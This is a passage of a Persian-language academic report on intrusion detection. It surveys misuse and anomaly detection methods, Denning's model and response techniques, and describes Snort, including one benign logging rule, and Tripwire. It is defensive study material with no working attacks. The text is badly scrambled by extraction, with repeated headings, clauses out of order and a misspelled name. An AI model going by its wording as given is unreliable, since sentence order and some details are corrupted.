 بازگشت و اصلاحبازگشت و اصلاحبازگشت و اصلاحبازگشت و اصلاح •

در حالت . گيرد رود، عمل اصلاحي بر روي موتور آناليزگر صورت مي در اين فاز که به موازات فاز قبل پيش مي

شود و در تشخيص ناهنجاري  هاي حملات انجام مي استفاده  اين کار با به روز درآوردن الگوها و نشانه تشخيص سوء

  .شود ن و سيستم به روز درآورده ميمشخصات ساخته شده از رفتار کاربرا

شوند،  استفاده و تشخيص ناهنجاري تقسيم مي نفوذ به دو دسته کلي تشخيص سوء هاي تشخيص با توجه به آنکه روش

هاي استفاده شده در هر  در  اين بخش تکنيک. شود نفوذ استفاده مي هاي مشخصي به منظور تشخيص در هر يک از تکنيک

  .شود يک شرح داده مي

  استفاده تشخيص سوء -۲-۴-۱

 آيا در عمل صورت گرفته  شود  اين است که اي که مطرح مي استفاده مساله هنگام استفاده از روش تشخيص سوء

  :اي از موارد دارد هنگام استفاده از  اين روش نياز به نعريف روشن از پاره. اي از عمل ناصحيح وجود دارد يا نه نشانه

 يک تعبير درست از رفتار غلط •

 ک منبع قابل اعتماد از عملکردهاي •

 يک تکنيک قابل اعتماد براي آناليز اطلاعات •

  :[1]شود استفاده شرح داده مي هاي مورد استفاده در روش تشخيص سوء در ادامه اين بخش، تکنيک

 هاي خبره سيستم -۲-۴-۱-۱

هاي خبره بوده  ستمهاي سي استفاده از روش استفاده، هاي مورد استفاده در روش تشخيص سوء يکي از اولين تکنيک

  .باشند  اين است که مساله کنترل سيستم مستقل از مسائل مربوط به حل مشکل مي مزيت استفاده از اين روش در. است

 به سيستم بدهد if-thenدهد که دانش لازم در مورد حملات را به صورت قوانين   اين امکان را مي اين خصوصيت به کاربر

بدين ترتيب سيستم، رويدادهاي وارد شده را توسط . بطه با سيستم رخ داده شده است را بدهدو سپس رويدادهايي که در را

  :باشد باشد اما استفاده از آن داراي معايبي نيز مي با آنکه استفاده از اين روش آسان مي. کند قوانين داده شده آناليز مي

ر  اين است که قوانين داده شده تفسير  اين ام علت. در حجم بالاي داده  اين روش توانايي کافي ندارد •

شوند  هايي که براي اجرا کامپايل مي هاي مفسر در مقايسه با سيستم شوند و واضح است که سيستم مي

 .کندتر هستند



  ١٤

 .دهند نفوذهاي محدودي را تشخيص مي •

  .هاي مقابله با آن توصيف شوند نياز به يک متخصص است تا بتوان نفوذها و راه •

 ر حالتهاي گذ سيستم -۲-۴-۱-۲

 عمل ١هاي تشخيص الگو دهد که با استفاده از سيستم استفاده از روش گذر حالت اين امکان را در اختيار قرار مي

سرعت و همچنين قدرت انعطاف  اين روش، آن را  به عنوان روشي مناسب در ميان ساير . خلاف تشخيص داده شود

هايي استفاده شده است که سه مورد از معروفترين آنها   روش اين مدل، از سازي براي پياده. ها مطرح کرده است روش

در ادامه آناليزگر گذر .  و آناليزگر گذر حالتAPI ،Colored Petri-Netتوصيف گذر حالت با استفاده از : عبارتند از

  :شود حالت به صورت مختصر توضيح داده مي

هاي گذر حالت سطح بالا  در اين روش از دياگرام. گيرد استفاده مورد استفاده قرار مي اين روش براي تشخيص سوء

دياگرام گذر حالت يک نمايش گرافيکي . گيرد براي نشان دادن و تشخيص سناريوهاي شناخته شده مورد استفاده قرار مي

  .اي از يک دياگرام گذر حالت نشان داده شده است  نمونه۲-۲در شکل . از سناريوي مورد نظر است

  

Assertions

S1

Assersions

S3

Assertions

S2

  
  دياگرام گذر حالت دياگرام گذر حالت دياگرام گذر حالت دياگرام گذر حالت----۲۲۲۲----۲۲۲۲شکل شکل شکل شکل 

 
 اين اساس است   اين روش بر ايده اصلي در  .باشد ها بيانگر گذر بين حالات مي نودها بيانگر حالات هستند و كمان

كند و سپس قدرت دسترسي   نفوذ مي،كند و به سيستم كه شخص نفوذكننده با قدرت دسترسي محدود شروع به عمل مي

هاي گذر حالت از يك گراف  در سيستم .كند به اين ترتيب به ساير منابع سيستم نيز دست پيدا مي. برد يخود را بالا م

اي از اعمال است كه از يك حالت اوليه شروع و به سمت هدف  يك حمله مجموعه. شود تا نفوذ مدل گردد استفاده مي

شود و گذر بين حالات  دسترسي كاربر بيان مي اين گراف بر اساس مشخصه سيستم و سطح  هر حالت در. كند حركت مي

  .گيرد بر اساس عمل كاربر صورت مي

وقتي كه عملي . باشد كه هر يك بيانگر سناريويي است هاي مختلف مي اي از دياگرام سيستم آناليزگر شامل مجموعه

در . ت ديگري رفت يا خيرتوان به حال اين عمل در هر دياگرام مي  كند كه با دهد سيستم آناليزگر بررسي مي رخ مي

اثر كند، سيستم حالت را به نزديكترين حالتي كه حالت قبلي را حفظ كند  صورتيكه عمل انجام شده، حالت فعلي را بي

  .شود ايجاد مي  شود و اگر عمل حالت را به حالت نهايي ببرد هشداري مبني بر رخ دادن نفوذ برده مي

  :اشدب  اين روش داراي مزايا مي استفاده از

                                                        
1 Pattern matching 



  ١٥

 .اين روش سريع و آسان است •

 .توان تنها با توصيف بخشي از نفوذ، آن را تشخيص داد مي •

 .يك روش قابل درك سطح بالا براي توصيف نفوذ است •

  :باشد علاوه بر مزايا استفاده از اين روش داراي معايبي نيز مي

 .شود ليست حالات توسط فرد مشخص مي •

 .پيچيده را توصيف كرداين روش حالات خيلي   توان توسط نمي •

 batch modeهاي  سيستم -۲-۴-۱-۳

كنند، اما حالاتي وجود دارد كه   عمل ميreal timeنفوذ براي كار خود به صورت  هاي تشخيص با آنكه اكثر سيستم

يكي از . گيرد مي آوري شده و سپس بر روي آنها عمل آناليز و جستجوي الگو صورت  در اين موارد اطلاعات ابتدا جمع

 .  است١شود روش بازيابي اطلاعات كه از اين روش استفاده ميمواردي 

 تشخيص ناهنجاري -۲-۴-۲
هايي از عملكرد كاربران و سپس مقايسه آن با   شناسه فرايندي است كه شامل فراهم كردنتشخيص ناهنجاريروش 

ر اساس عملكرد صحيح ها ب معيارشود و  ها در نظر گرفته ميمعياراي از  ها به عنوان مجموعه شناسه. ساير اعمال است

در ادامه . شود  يك حد اعتباري دارد كه در آن فاصله عملكرد صحيح مشخص ميمعيارهر . شود كاربران محاسبه مي

 .[1]گردد شود مطرح مي نفوذ استفاده مي  اين مدل به منظور تشخيص هايي كه براي روش

 Denningمدل  -١-٢-٤-٢

Drothy Denning هاي نفوذ مطرح كرد كه شامل چهار مدل  دهنده اي تشخيص مدلي بر۱۹۸۶ در مقاله خود در سال

  :کند عمل مي خاصي ر اساس معيارها ب هر يك از مدل. بود

 مدل عملكرديمدل عملكرديمدل عملكرديمدل عملكردي •

هايي نظير شمارنده تعداد خطاي ا توجه به معياردر اين مدل ب. اولين مدل مطرح شده مدل عملكردي بوده است

شود و  ن مدل، مقدار بدست آمده با حد مورد نظر مقايسه ميدر اي. کند عمل ميكلمه عبور در يك فاصله زماني 

 .شود در صورت گذشتن از حد به عنوان يك عمل خلاف قاعده گزارش مي

 مدل ميانگين انحرافمدل ميانگين انحرافمدل ميانگين انحرافمدل ميانگين انحراف •

در اين روش فرض بر اين . ها دومين مطلب مربوط است به مطرح كردن يك ميانگين و انحراف مشخص داده

معيار دو ميانگين و انحراف داند عبارت است از  در مورد رفتار سيستم ميکه سيستم آناليزگر است كه مطالبي 

اين بازه اطمينان .  رسد كه در خارج از بازه مطمئن قرار گيرد يك رفتار، زماني غيرطبيعي به نظر مي. داده اول
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فاده از منابع هاي زماني و ميزان است بر اساس ميانگين يک سري از پارامترها نظير شمارنده رويدادها، فاصله

 .شود محاسبه مي

 
  

 ١١١١چندپارامتريچندپارامتريچندپارامتريچندپارامتريمدل مدل مدل مدل  •

 اين مدل بر پايه برقراري ارتباط بين دو  .است كه گسترش يافته مدل دوم استچندپارامتري سومين مدل، مدل 

توان  در نتيجه به جاي آنكه عمل تشخيص تنها بر اساس يك مقدار انجام شود، مي.  بنا شده استمعياريا چند 

براي مثال به جاي آنكه عمل تشخيص را فقط بر اساس مدل . س ارتباط بين مقادير مختلف انجام دادآن را بر اسا

 . قرار دادcpu cycleمدت زمان ارتباط و پارامترهاي بر اساس توان آن را  د، مي شوانجامزمان ارتباط قرار 

 مدل فرايند ماركفمدل فرايند ماركفمدل فرايند ماركفمدل فرايند ماركف •

گيرد و از يك ماتريس گذر حالت  در نظر ميعمل را به عنوان يك حالت هر دهنده،  در اين حالت تشخيص

مقادير اين ماتريس نشان دهنده نرخ گذر از يك . كند براي نشان دادن ارتباط بين حالات مختلف استفاده مي

 .رسد كه احتمال گذر آن خيلي كم باشد صورت عملي غيرعادي به نظر مي در اين. حالت به حالت ديگر است

  آناليز كمي -٢-٢-٤-٢

گيرد استفاده از روش آناليز  مورد استفاده قرار ميتشخيص ناهنجاري هايي كه در روش   تكنيكترين يكي از رايج

تا حدي   مدل كميdenningدر روش . شود در اين روش قوانين و مشخصات به صورت عددي نمايش داده مي. است  كمي

 يك سري محاسبات در نظر  در اين روش به صورتي استفاده شدهها تكنيك. در بخش مدل رفتاري مطرح شده بود

اي  اين تكنيك به عنوان پايه  نتايج. تواند باشد تا محاسبات پيچيده اين محاسبات از جمع دو عدد ساده مي  شود كه گرفته مي

 اين روش شرح داده  در ادامه. استفاده قرار گيرد تواند مورد  مياستفاده و تشخيص ناهنجاري تشخيص سوءهاي  براي روش

  :شود مي

 خيص آستانهخيص آستانهخيص آستانهخيص آستانهتشتشتشتش •

 اين روش بعضي از خصوصيات كاربر و سيستم  در. باشد تشخيص آستانه مي  ترين بخش روش آناليز كمي رايج

 اين  مثال ساده از. باشد هاي مختلف مي دهنده سطوح و حد دسترسي شود كه نشان به صورت اعدادي محاسبه مي

 . كردن به سيستم استloginروش تعداد موارد ناموفق براي 

 ٢٢٢٢شخيص آستانه به روش اكتشافيشخيص آستانه به روش اكتشافيشخيص آستانه به روش اكتشافيشخيص آستانه به روش اكتشافيتتتت •

شود و علاوه بر بدست آوردن يک سطح آستانه سعي  در اين روش نسبت به روش قبل قدم فراتر گذاشته مي

شود، مخصوصاً   اين فرايند باعث افزايش صحت تشخيص مي .کند که آن را با سطح مورد نظر تطابق دهد مي

در نتيجه براي مثال در عوض . گيرد ابع و افراد صورت ميمواقعي که عمل تشخيص بر روي تعداد زيادي از من
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 توليد هشدار شود در صورت رخ دادن تعداد غيرعادي loginآنکه در صورت وقوع سه بار رخ دادن خطاي 

  .شود اين تعداد غير عادي با توجه به روابطي محاسبه مي.   توليد هشدار شودloginخطاي 

 بررسي درستي هدفبررسي درستي هدفبررسي درستي هدفبررسي درستي هدف •

گردد که آايا تغييري در سيستم رخ   اين روش بررسي مي در. ا، بررسي صحت هدف استه يکي ديگر از روش

توان به آن اشاره کرد استفاده از تابعي براي محاسبه  هايي که در اين رابطه مي يکي از مثال. داده است يا خير

checksumبعد از محاسبه . ، اشياءاي است که در سيستم قرار دارندchecksumر در يک محل امن   اين مقدا

، اشياء موجود را با مقادير ذخيره شده مقايسه checksumنفوذ به طور متناوب  سيستم تشخيص. شود نگهداري مي

نفوذ در   که يک سيستم تشخيصTripwire. کند در مواقعي که تغييري مشاهده شود آن را اعلام مي. کند مي

  .کند  است به اين روش عمل ميLinuxعامل  سيستم

 هاهاهاها    و تقليل سازي دادهو تقليل سازي دادهو تقليل سازي دادهو تقليل سازي داده    ليز کميليز کميليز کميليز کميآناآناآناآنا •

ها فرايندي است  سازي داده تقليل.  است١ها سازي داده شود تقليل استفاده مي هايي که در آناليز کمي يکي از روش

 اين کار باعث کاهش بار منابع ذخيره  .گردد آوري شده حذف مي هاي جمع که در آن اطلاعات اضافي از داده

  .شود نفوذ بر اساس آن اطلاعات مي يصشده و بهينه کردن فرايند تشخ

  آناليز آماري - ٣-٢-٤- ٢

اين روش در .  کردند  اين روش عمل مي نفوذ براي تشخيص ناهنجاري بر اساس هاي سيستم تشخيص اولين نمونه

  . استفاده شده استHaystack و IDES ،NIDESهايي نظير  سيستم
• IDES/NIDES 

ها به صورت   اين شناسه .شود اي ساخته و نگهداري مي هدر اين روش براي هر کاربر و هر شئ  سيستم، شناس

  .شود شوند و از  اينجا تغييراتي که در هر شناسه رخ داده شده است مشخص مي متناوب به روز درآورده مي
• Haystack 

شود که  در قسمت اول مشخص مي. شود در اين روش از يک مکانيزم تشخيص ناهنجاري دو بخشه استفاده مي

باشد و در قسمت دوم مقدار انحراف عملکرد هر کاربر نسبت  د يک کاربر براي نفوذ چه مقدار ميحوزه عملکر

  .شود به حالت عادي مشخص مي

  آناليز آماري غير پارامتري -٤-٢-٤-٢

هاي مورد  در روش آماري که شرح آن آمد، آناليز صورت گرفته بر اساس يک سري فرضيات در مورد توزيع داده

در اين حال استفاده از . دهد که اين فرضيات اشتباه باشد  توجه به اين مساله مشکل زماني رخ ميبا. شود بررسي انجام مي

  .کنند هاي غير پارامتري  اين مشکل را رفع مي روش

هايي  آوري و با توجه به معيارهايي به دسته اي، مقدار زيادي از سوابق سيستم مورد بررسي، جمع در آناليز خوشه

هاي رويدادهاي يک  شود که به واسطه آن برداري از ويژگي اي انجام  اين کار پيش پردازشي انجام ميبر. شوند تقسيم مي

                                                        
1 Data reduction 
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با اين . شود بندي استفاده مي هاي رفتاري از از الگوريتم خوشه بندي بردارها به كلاس براي دسته. شود کاربر خاص توليد مي

  .گيرند ار ميكار اعضايي كه رفتار نزديک داشته باشند در يك كلاس قر

  آناليز مبتني بر قواعد -٥-٢-٤-٢

شود روش مبتني بر قواعد  نفوذ در حالت تشخيص ناهنجاري استفاده مي هاي تشخيص روش ديگري که براي سيستم

مهمترين تفاوتي که در اين روش وجود . باشد هاي انجام شده در اين روش همانند روش آناليز آماري مي فرض. باشد مي

هايي که از  اين  نمونه سيستم. کند اي از قوانين براي نگهداري الگوها استفاده مي تم از مجموعه اين است که سيس دارد

  .باشند  ميTIM و Wisdom & Senseکنند  روش استفاده مي

  هاي عصبي آناليز با استفاده از شبکه -٦-٢-٤-٢

هاي عصبي،  شبکه. توان از آن استفاده کرد نفوذ مي هاي عصبي تکنيک ديگري است که براي تشخيص شبکه

دانش سيستم توسط . باشد که توسط ارتباطات وزن داري با يکديگر ارتباط دارند اي از واحدهاي پردازشي مي مجموعه

فرايند يادگيري توسط تغيير . باشد ذخيره شده است دار مي ها و ارتباطات وزن اي از نورون اي که مجموعه ساختار شبکه

  .گيرد کردن آنها صورت ميوزن ارتباطات و همچنين اضافه و حذف 

هاي گذشته و  اي بر اساس آموخته در مرحله اول شبکه. باشد هاي عصبي داراي دو مرحله مي در شبکهپردازش 

پذيرد و آن را با  در مرحله دوم شبکه رخدادهاي ديگر را مي. شود دهد تشکيل مي  که رفتار کاربر را نشان مياطلاعاتي

شبکه، غير عادي بودن رخدادها را با حذف و . آورد ها را بدست مي ها و تفاوت باهتکند وش رفتار گذشته مقايسه مي

  .دهد اضافه کردن ارتباطات و تغيير وزن آنها نشان مي

  ها ساير تکنيک -۲-۴-۳

تواند مورد استفاده قرار  استفاده و تشخيص ناهنجاري مي هاي تشخيص سوء ها در هر دو روش سيستم اين تکنيک

  .[3]شود ها شرح داده مي بعضي از  اين روش اين بخش  در. گيرد

  سيستم امنيت بيولوژيكي -۲-۴-۳-۱

شود  اين است  سوالي که مطرح مي. شود هاي کامپيوتري مطرح مي در اين روش يک نگاه جديد به امنيت در سيستم

تم امنيتي هاي بين سيس براي پاسخ به  اين سوال تشاب". کنند؟ اي از کامپيوترها خود را حفظ مي چگونه مجموعه"که 

  .بيولوژيکي و سيستم امنيتي کامپيوترها بايد بررسي شود

 است که در سيستم  اين مکانيزمي.  ها توانايي ارزيابي خود را دارند  اينگونه سيستم  اين است که  اين سوال کليد پاسخ

 نظير اسيدهاي آمينه، هاي ريزتر در يک سيستم بيولوژيکي عمل حفاظت با بررسي عامل. امنيتي بيولوژيکي وجود دارد

در  اين رابطه، . نفوذ بکار برد هاي تشخيص توان در رابطه با سيستم مشابه همين عمل را مي. شود انجام مي... ها و  پروتئين

system call اين ترتيب است که  روش بررسي به. ترين و اولين منبع اطلاعات در نظر گرفت توان به عنوان جزئي ها را مي 
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اي بخواهد اجرا  اگر برنامه. شود ها به صورت آماري براي كاربردهاي مختلف نگهداري مي system callي ترتيب اجرا

شود و در صورت بروز تفاوت قابل توجهي يک  ها با اطلاعات ذخيره شده تطابق داده مي system callشود ترتيب اجراي 

  .شود هشدار داده مي

 الگوريتم ژنتيک -۲-۴-۳-۲

نفوذ  از ديد الگوريتم ژنتيك فرايند تشخيص. نفوذ استفاده از الگوريتم ژنتيك است يصهاي تشخ يكي ديگر از روش

دهد كه رخداد  باشد، به اين معني كه بردار مربوطه نشان مي دربر گيرنده تعريف يك بردار براي اطلاعات رخدادها مي

  . انجام شده يك نفوذ است يا خير

گردد، بعد از آن يك فرض ديگر انجام  ود و صحت آن بررسي ميش در ابتدا يك بردار فرضي در نظر گرفته مي

حل  شود تا راه اين عمل به صورت تكراري آنقدر انجام مي. باشد شود، كه اين فرض بر اساس نتايج تست فرض قبلي مي مي

يتم ژنتيك الگور. باشد هاي جديد بر اساس نتايج قبلي مي ايجاد فرض  اين بين  نقش الگوريتم ژنتيك در. پيدا شود

باشد و مرحله دوم پيدا  ها مي اي از بيت حل به صورت رشته دربرگيرنده دو مرحله است، مرحله اول شامل كدكردن راه

 .كردن تابعي براي بررسي رشته بيتي

GASSATAدر . كند است كه بر اين اساس كار مي  سيستميGASSATAاي از   رخدادهاي سيستم بر اساس مجموعه

 بدين صورت) تعداد حملات شناخته شده است (nو ) يك بردار براي هر رشته رخداد (H .شوند دي ميبن بردارها دسته

تابع . دهد اي صورت گرفته است وصفر عكس آن معني مي  برابر يك باشد يعني حملهHiكه اگر شوند  تعريف مي

دارد را در مقدار بردار ضرب  اينكه احتمال خطري كه يك حمله براي يك سيستم  كننده دو بخش دارد، اول بررسي

گيرد بررسي  كند و در ادامه نتيجه آن بر اساس يك تابع درجه دوم كه به منظور تشخيص خطا مورد استفاده قرار مي مي

 اين  نتيجه. كند اين قدم تمايز بين حملات مختلف را مشخص مي  .گردد هاي غلط حذف مي بدين ترتيب فرض. شود مي

  .نتيجه آناليز استها بهينه كردن  پردازش

 ها مبتني بر عامل -۲-۴-۳-۳

گيرد كه عمل امنيتي مشخصي را بر روي  افزارهايي تعلق مي نفوذ به نرم هاي تشخيص مفهوم عامل در رابطه با سيستم

عامل صورت  شود بدين معني كه عمل كنترل تنها توسط   اين عمل به صورت مستقل انجام مي .دهد انجام ميميزبان 

  .اين بين نقشي ندارند  هاي ديگر درگيرد و فرايند مي

توان در نظر گرفت  ها مي هايي كه براي عامل اينكه محدوده توانايي   به علتي است بسيار قو،ها تشخيص توسط عامل

اين قدرت را به آنها   ها هاي عامل محدوده توانايي. تواند خيلي ساده و يا خيلي پيچيده باشد يك عامل مي. بسيار زياد است

يكي از . مورد استفاده قرار گيرداستفاده و تشخيص ناهنجاري  تشخيص سوءهد كه در رابطه با هر دو روش د مي

 .باشد  ميAAFIDسازي شده است  ها پياده هايي كه بر اساس عامل معروفترين و اولين سيستم
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 هاي پاسخ تکنيک -۲-۵
در . شوند بندي مي ه كلي فعال و غيرفعال دستهتوانند داشته باشند به دو دست نفوذ مي هاي تشخيص هايي كه سيستم پاسخ

در حالت غيرفعال، سيستم مشكلات را . كردبلاك را گرفت و يا سيستم  راجلوي حمله توان  ميحالت فعال براي مثال 

هاي مهم هر  يكي از بخش. تواند همزمان وجود داشته باشد در يك سيستم هر دو نوع مي. دهد ذخيره و آنها را گزارش مي

اي صورت گرفته و متناسب با آن حمله چه پاسخي بايد   اين است كه تشخيص دهد چه نوع حمله نفوذ تم تشخيصسيس

 .داده شود

  پاسخ فعال -۲-۵-۱

براي پاسخگويي حالات . در پاسخ فعال سيستم بعد از مشخص شدن نوع حمله بايد عکس العمل لازم را انجام دهد

  :شود ز آنها اشاره ميمتفاوتي وجود دارد که در ادامه به سه مورد ا

 عمل عکس در مورد حمله کنندهعمل عکس در مورد حمله کنندهعمل عکس در مورد حمله کنندهعمل عکس در مورد حمله کننده •

ترين راه در اين حالت، پيش رفتن  مشخص. كننده است اولين حالت پاسخگويي، عمل متقابل در مقابل حمله 

توان جلوي آن را گرفت و يا  بعد از پيدا كردن منبع حمله مي. معكوس به منظور پيدا كردن منبع حمله است

توانند به صورت اتوماتيك باشند و يا  هايي كه در اين رابطه وجود دارد مي پاسخ. را قطع كردآنكه ارتباط با آن 

 .آنكه توسط فرد فعال شوند

 تغيير دادن سيستمتغيير دادن سيستمتغيير دادن سيستمتغيير دادن سيستم •

سروصداترين نوع  اگر چه که اين نوع پاسخگويي بي. هاي پاسخ فعال تغيير شرايط سيستم است يکي از روش

هايي است که حملات از آن   ايده کلي در اين روش پوشاندن رخنه .باشد پاسخگويي است اما حالت بهينه نيز مي

باشد،  هاي دفاعي بدن مي هاي خودشفا دهنده همانند سيستم هاي دفاعي در سيستم سيستم. گيرد مناطق صورت مي

 .کند بدين صورت که خود سيستم سعي در ترميم مشکلات خود مي

 آوري اطلاعات بيشترآوري اطلاعات بيشترآوري اطلاعات بيشترآوري اطلاعات بيشتر    جمعجمعجمعجمع •

شود  اين حالت در مواقعي استفاده مي.  آوري اطلاعات بيشتر در مورد حمله است گويي جمعسومين حالت پاسخ    

خواهد که درمان اصلي حمله را  اي باشد و صاحب اصلي سيستم مي که سيستم تحت حفاظت، داراي اهميت ويژه

اي حمله مورد شود که به عنوان محلي بر در مواقعي سيستم اصلي با سيستم ديگري جايگزين مي. بدست آورد

اين سيستم ".  fish bowls"و " honey pot"باشد نظير  متفاوتي مي  اين سيستم داراي اسامي .گيرد استفاده قرار مي

توان بر اساس حملاتي که به  بدين ترتيب مي. باشد مجهز به تمام مشخصاتي است که سيستم اصلي دارا مي

 .آوري کرد مله جمعشود اطلاعات بيشتري در مورد ح سيستم جايگزين مي
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  پاسخ غيرفعال -۲-۵-۲

شود که چه  شود و ساير اعمال به عهده کاربر گذاشته مي در روش غيرفعال تنها اطلاعاتي براي کاربر فراهم مي

هاي   اين عمل به صورت .شده است نفوذ استفاده مي هاي اوليه تشخيص از  اين روش بيشتر در سيستم. بگيرد تصميمي

 :گيرد که دو روش از آنها عبارتند ازتواند صورت ب مختلفي مي

 توليد هشدارتوليد هشدارتوليد هشدارتوليد هشدار •

توان از کارهاي  براي هشدار دادن و اخطار دادن مي. شود در اين روش بعد از وقوع رخدادي هشداري توليد مي

هايي بر روي صفحه نمايش ظاهر شود و يا آنکه آژيرهايي به  توان پيغام براي مثال مي. مختلفي استفاده کرد

  .صدا درآيد

  SNMPتله تله تله تله  •

اي مورد استفاده  افزارهاي شبکه نفوذ به صورتي طراحي شده اندکه در کنار نرم هاي تشخيص بسياري از سيستم

تواند از امکانات مديريت شبکه بهره ببرد و هشدارهاي  نفوذ مي ها، سيستم تشخيص در اين سيستم. گيرند قرار مي

  .تواند مورد استفاده قرار گيرد  است که ميSNMP پروتکل يکي از اين امکانات. لازم را ارسال و نشان دهد

  نفوذ نمونه معرفي دو سيستم تشخيص -۲-۶
 يك Snort. استفاده شده است) tripwire و snort(نفوذ نمونه  در اين پروژه براي انجام آزمايشات دو سيستم تشخيص

  .بتني بر ميزباننفوذ م  يك سيستم تشخيصtripwireنفوذ مبتني بر شبكه است و  سيستم تشخيص

۲-۶-۱- Snort [9, 10] 
Snortنفوذ مبتني بر شبكه است كه به صورت  هاي سيستم تشخيص ترين و بهترين نمونه  يكي از رايجopen source 

 را Snort. تواند مفيد و كارامد باشد  كه بزرگ نيستند ميTCP/IPهاي   اين ابزار براي استفاده در شبكه .ارائه شده است

توان آن را به راحتي بر روي نودهاي شبكه نصب و  نامند، علت امر  اين است كه مي نفوذ سبك مي يك سيستم تشخيص

  . اجرا كرد

Snortهاي ارسالي شبكه از كتابخانه  آوري داده  براي جمعlibpcapدر اين سيستم با تطبيق الگو در . كند  استفاده مي

 توانايي تشخيص محدوده snortبا استفاده از  اين روش . گيرد نفوذ صورت مي آوري شده عمل تشخيص هاي جمع بسته

 و حملات SMB، حملات CGI، حملات buffer overflow ،port scanبراي مثال حملاتي نظير . وسيعي از حملات را دارد

-real شيوه توليد پيغام به صورت snortدر . از كاراندازي سرويس از جمله حملات قابل تشخيص توسط  اين سيستم است

timeاست .  
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 Snortمعماري  -۲-۶-۱-۱

در . پذيري در آن درنظر گرفته شود  سعي شده است تا پارامترهايي نظير كارايي، سادگي و انعطافsnortدر معماري 

هاي شبكه، موتور تشخيص و سيستم توليد هشدار و   سه بخش اصلي وجود دارد كه عبارتند از دكدر بستهsnortساختار 

logگرفتن . 

 اي شبكهاي شبكهاي شبكهاي شبكههههه    دكدر بستهدكدر بستهدكدر بستهدكدر بسته •

در  اين . كند هاي مختلف شبكه را استخراج مي ها به صورتي طراحي شده است كه اطلاعات لايه دكدر بسته

اين اطلاعات از لايه .  گيرد هاي مختلفي وجود دارد كه هر يك اطلاعات لايه مشخصي را در بر مي بخش روتين

data-linkرسد شود و به لايه كاربرد مي  شروع مي.  

 يصيصيصيصموتور تشخموتور تشخموتور تشخموتور تشخ •

 ساختار اين ليست نشان ۳-۲در شكل . شوند  قوانين تشخيص در يك ليست پيوندي دو بعدي ذخيره ميsnortدر

  .داده شده است

  
 Snort ساختار ليست قوانين  ساختار ليست قوانين  ساختار ليست قوانين  ساختار ليست قوانين ----۳۳۳۳----۲۲۲۲شكل شكل شكل شكل 

ها كه شامل آدرس و پورت مبداء و مقصد است و بعد ديگر شامل   بستهheaderيك بعد اين ليست مربوط است به 

سازي به اين ترتيب است كه در بعد  روش ذخيره. تواند وجود داشته باشد است كه در ساختار يك بسته ميساير مواردي 

headerشود و سپس در قوانيني كه براي يك مبداء و مقصد مشترك باشد در بعد ديگر و  ها مشخص مي  آدرس و پورت

شود كه عمل جستجو با سرعت  ازي باعث ميس اين روش ذخيره.  گيرد  مربوط به آن ارتباط قرار ميheaderدر زير 

  .مناسبي انجام شود
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  گيرنده گيرنده گيرنده گيرندهlogسيستم هشدار دهنده و سيستم هشدار دهنده و سيستم هشدار دهنده و سيستم هشدار دهنده و  •

 گرفتن و log اين كار سه سيستم  براي انجام. شود  سيستم هشدار دهنده در زمان پيكربندي مشخص ميsnortدر 

، snortعات در دكدر خود گيري عبارتند از ذخيره اطلاlogهاي  سيستم. چهار سيستم هشدار دهنده وجود دارد

. tcpdumpها و نهايتاً به صورت باينري به فرمت  هاي فرستنده بسته IPهاي مستقل به نام  ذخيره در دايركتوري

 به دو فرمت alertها در فايل logسازي  ، ذخيرهsyslogهاي هشدار دهنده عبارتند از ارسال پيغام به سيستم  سيستم

full و يا fastهاي هشدار به يك ماشين  يغام و يا ارسال پclient توسط winpopup.  

 Snortقوانين  -۲-۶-۱-۲

 اين  .توان سه پايه عملكرد انتخاب كرد در قوانين نوشته شده مي. تواند انجام شود  به سادگي ميsnortنوشتن قوانين 

. كنند  ايجاد نمي رند اما هشداريگي  قوانيني هستند تنها جلوي بسته را ميpassقوانين . pass و log ،alert: موارد عبارتند از

 قوانيني هستند كه پيغام alertگيرند و نهايتاً قوانين   ميlogآوري شده  هاي جمع  قوانيني هستند كه از تمام دادهlogقوانين 

  .كند ايجاد مي هشداري مبني بر رخ دادن عمل خطايي 

. كنند رت مبداء و مقصد و پروتكل ارتباطي كار ميترين نوع قوانين، قوانيني است كه تنها بر اساس آدرس و پو ساده

  :براي مثال
Log tcp any any -> 10.1.1.0/24 79 

 از نوع 10.1.1.0 كامپيوترهاي شبكه با آدرس ۷۹ كه به پورت tcpشود كه از تمام ارتباطات  اين دستور باعث مي

  . گرفته شودlogشود   ارسال ميCكلاس 

. گيرد سازي قوانين جا مي  ليست ذخيرهheader مشخص است اطلاعات آن تنها در بعد  اين قانون همانطور كه از ظاهر

. گيرند در اين حالت اطلاعات اضافه در بعد دوم ليست قرار مي.  نوشتsnortتري نيز براي  توان قوانين پيچيده اما مي

  :ب زير استتواند مورد استفاده قرار گيرد به ترتي بعضي از مشخصات اضافي كه در قوانين مي

• content :كند محتويات مشخصي را در بسته جستجو مي. 

• Flags :flag هاي لايهTCPكند  را بررسي مي. 

• Ttl : فيلدTTL در لايه IPدهد  را مورد بررسي قرار مي. 

  .توان مشاهده كرد  را ميsnort تعدادي از قوانين نوشته شده براي ۴-۲براي مثال در 
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  Snort مدل قوانين  مدل قوانين  مدل قوانين  مدل قوانين ----۴۴۴۴----٢٢٢٢شكل شكل شكل شكل 

۲-۶-۲-  Tripwire [17, 20] 
Tripwireنفوذ مبتني بر ميزبان است كه عملكرد آن بر اساس تغييرات هاي تشخيص  يكي از پركاربردترين سيستم  

كند و   ميscanهاردديسك را  اين سيستم براي انجام كار خود در ابتدا .  باشد سيستم ميزبان مي ايجاد شده در ساختار فايل

 به صورت پريوديك tripwire اين بانك،  بعد از ساخته شدن. سازد نك اطلاعاتي بر اساس وضعيت فعلي آن مييك با

هاردديسك وجود داشته باشد  دهد و هر تغييري كه در مقايسه بين بانك اطلاعاتي و سيستم را مورد بررسي قرار مي فايل

  . را مشاهده كردtripwireتوان ساختار كلي عملكرد   مي۵-۲در شكل . دهد اطلاع مي

  
 tripwire مدل عملكردي  مدل عملكردي  مدل عملكردي  مدل عملكردي ----۵۵۵۵----۲۲۲۲شكل شكل شكل شكل 

 tripwireمعماري  -۲-۶-۲-۱

  . نشان داده شده استtripwire ساختار كلي معماري سيستم ۶-۲در شكل 
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        tripwire ساختار كلي معماري سيستم  ساختار كلي معماري سيستم  ساختار كلي معماري سيستم  ساختار كلي معماري سيستم ۶۶۶۶----۲۲۲۲شكل شكل شكل شكل 

سيستم مورد نظر  يك ورودي فايل. دباش همانطور كه در شكل مشخص شده است اين سيستم داراي دو ورودي مي

-selectبخش . شود اي است كه با مقايسه با آن تغييرات مشخص مي براي بررسي است و ورودي ديگر بانك اطلاعاتي

maskهاي اصلي  اين سيستم عبارتند  بخش. كند  مشخصاتي كه با توجه به پيكربندي سيستم بايد بازرسي شوند را تعيين مي
